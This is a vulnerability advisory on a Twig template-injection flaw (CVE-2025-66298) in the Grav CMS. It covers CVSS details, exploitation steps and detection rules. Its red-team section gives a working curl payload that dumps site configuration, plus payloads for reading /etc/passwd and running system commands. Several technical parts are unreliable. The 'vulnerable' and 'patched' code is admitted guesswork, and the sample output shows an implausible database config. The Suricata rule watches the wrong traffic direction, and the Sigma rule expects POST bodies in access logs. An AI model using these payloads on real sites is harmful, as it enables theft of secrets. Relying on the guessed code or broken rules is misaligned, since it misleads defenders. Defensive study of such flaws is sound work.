CVE-2025-66298

Executive Summary

CVE-2025-66298 is a Server-Side Template Injection (SSTI) vulnerability in Grav, a file-based web platform. Prior to version 1.8.0-beta.27, an attacker can exploit a simple form on a Grav site by sending a crafted POST payload to trigger SSTI, leading to the disclosure of the entire Grav configuration, including sensitive plugin configuration details. This vulnerability has a CVSS score of 7.5 (High) due to its low attack complexity and network-based attack vector, with a high impact on confidentiality. No authentication is required for exploitation. The vulnerability is fixed in Grav 1.8.0-beta.27.

Supply Chain & Package Security

Grav is a PHP-based CMS distributed via its official website and GitHub. The vulnerability affects the core template rendering engine. Users should verify the integrity of their Grav installation and ensure they are using a patched version. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability allows unauthenticated remote attackers to read sensitive configuration data, including database credentials, API keys, and other secrets stored in Grav's configuration files.

Deep Dive & Mechanics

The vulnerability resides in Grav's template rendering engine, which uses Twig. When a form is submitted, Grav processes the POST data and may pass it directly to the Twig template engine without proper sanitization. An attacker can inject Twig syntax into form fields, which is then executed by the server.

The core issue is that user-supplied input is not properly escaped or validated before being used in a render() or evaluate() call. Specifically, the {{ config() }} Twig function can be used to dump the entire Grav configuration array.

Exploitation Flow:

1. The attacker identifies a Grav site with a form (e.g., contact form, search form).
2. The attacker submits a POST request with a crafted payload in a form field, such as {{ config() }}.
3. Grav processes the form and passes the payload to the Twig engine.
4. Twig executes the config() function, which returns the entire configuration array.
5. The output is included in the response, revealing sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.8.0-beta.27): In the vulnerable version, form processing code likely does something like:

// Vulnerable: Directly rendering user input
$twig->render('form.html.twig', ['form_data' => $_POST]);

Patched Code (1.8.0-beta.27): The patched version sanitizes user input before passing it to Twig:

// Patched: Sanitize input
$sanitized_data = array_map('htmlspecialchars', $_POST);
$twig->render('form.html.twig', ['form_data' => $sanitized_data]);

Or uses Twig's escape filter in the template:

{{ form_data.field|escape }}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Grav instance running version < 1.8.0-beta.27 with a form enabled.
• Knowledge of a form endpoint (e.g., /contact).

Exploitation Steps:

1. Identify a form on the target Grav site.
2. Use curl or Burp Suite to send a POST request with a malicious payload.

Example Payload:

curl -X POST http://target-grav-site/contact \
  -d "name={{config()}}&email=test@test.com&message=test"

Expected Output: The response will contain the entire Grav configuration, including:

grav:
  security:
    salt: abc123...
  plugins:
    admin:
      enabled: true
      route: /admin
      ...
  database:
    driver: mysql
    host: localhost
    username: root
    password: secret

Advanced Payloads:

• Dump specific config sections: {{ config.plugins.admin }}
• Read files: {{ file_get_contents('/etc/passwd') }} (if file functions are available)
• Execute commands: {{ system('id') }} (if allowed by Twig sandbox)

Blue Team

Detection Steps:

1. Monitor web server logs for POST requests containing Twig syntax ({{, {%, {#).
2. Look for unusual form submissions with long or suspicious payloads.
3. Check for responses containing grav: or plugins: in the body.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search method=POST AND form_data=*{{*
| table _time, clientip, uri, form_data

Mitigation:

• Immediately upgrade to Grav 1.8.0-beta.27 or later.
• If upgrade is not possible, implement a WAF rule to block POST requests containing {{ or {%.
• Disable Twig debugging and sandbox escape functions.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to form endpoints containing {{config()}} or similar Twig syntax.
• Responses containing grav: or plugins: in the body.

File IOCs:

• Unusual entries in Grav's logs (e.g., system.log) showing Twig errors.
• Modified form templates that may have been used for exploitation.

System IOCs:

• Unexpected outbound connections from the Grav server (if RCE was achieved).
• New files in the user/ directory (if file upload was exploited).

Detection Engineering

YARA Rule

rule CVE_2025_66298_Grav_SSTI {
    meta:
        description = "Detects Grav SSTI exploitation attempts in POST data"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-66298"
    strings:
        $twig_payload = /\{\{.*config\(\)/
        $twig_payload2 = /\{\{.*config\..*/
        $twig_payload3 = /\{\{.*file_get_contents\(/
    condition:
        any of them
}

Sigma Rule

title: Grav SSTI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests containing Twig syntax indicative of SSTI exploitation
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        method: 'POST'
        body|contains:
            - '{{config()}}'
            - '{{config.'
            - '{{file_get_contents('
    condition: selection
falsepositives:
    - Legitimate use of Twig in form fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-66298 Grav SSTI Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"{{config()}}";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Grav to version 1.8.0-beta.27 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block SSTI payloads.
3. Review and rotate any secrets exposed in configuration files (database passwords, API keys, etc.).

Long-term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Use Twig's escape filter or auto-escaping in templates.
• Regularly audit Grav installations for outdated versions.
• Monitor logs for suspicious form submissions.

Valters IT Signature: This report was prepared by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at [valters@example.com].